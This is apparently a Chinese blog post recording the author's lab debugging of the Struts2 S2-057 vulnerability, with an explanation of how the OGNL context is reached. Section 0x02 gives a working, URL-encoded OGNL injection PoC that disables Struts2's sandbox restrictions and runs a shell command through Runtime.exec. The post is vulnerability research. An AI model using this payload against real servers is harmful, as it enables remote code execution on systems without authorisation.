0x00 前言
这篇文章记录我调试S2-057漏洞的过程,简单记下几个知识点。
0x01 实验环境
- Struts 2.5.16.2
- tomcat 9.0.11
0x02 成功的POC
IDEA真是好用,修改struts配置文件为有漏洞版本,配置tomcat环境,直接运行对应的Struts2-showcase项目就行了。
我在mac环境下,POC都调了好长时间,给出能够成功的POC:
1 | GET /struts2-showcase/$%7B(%23ct=%23request%5B'struts.valueStack'%5D.context).(%23cr=%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.')).(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec('touch%20/tmp/pwnS2-057'))%7D/actionChain1.action |
遇到的问题:中括号要编码,在URL里面需要耐心调一下URL编码。
0x03 POC执行细节
我使用的是ServletActionRedirectResult
类来调试S2-057,类文件173行为漏洞的source点,紧跟着打断点,单步调试下去就行。
POC一开始使用了#request['struts.valueStack'].context
,来获取整个Struts2执行OGNL语句的上下文,之后的内容与之前的POC就有些类似了。因此,这里看看它为啥要这么写,以及其中的原理。
首先,我们可以调试到Struts2执行OGNL语句的地方,看到Struts2如下的context上下文: 图中我标示了几个关键地方,这是我们在POC里面需要用到的对象,都存储在context这个Map数据结构里面。简单使用#
就能获取Context里面key对应的对象了,原理通过看调试代码得到如下结论对比结论:
OGNL语句执行前会通过tree = Ognl.parseExpression(expression);
对其进行语法分析~
- #request
解析成ASTVarRef
,它的getValueBody函数为:return context.get(_name);
,从Context里面通过key取出value。
- ["struts.valueStack"]
解析成了ASTProperty
,它的getValueBody函数为:OgnlRuntime.getProperty(context, source, property);
,获取requestMap里面对应的value值。 框架在初始化时,Dispatcher.java
文件567行代码会将Struts的ValueStack添加到requestMap中:
后面发现#
是用来代表变量,自定义变量的原理也就是通过存储在Context上下文中来实现。
记录完以上知识点,总结下利用思路:观察Struts2中Context栈,看是否有可利用的元素~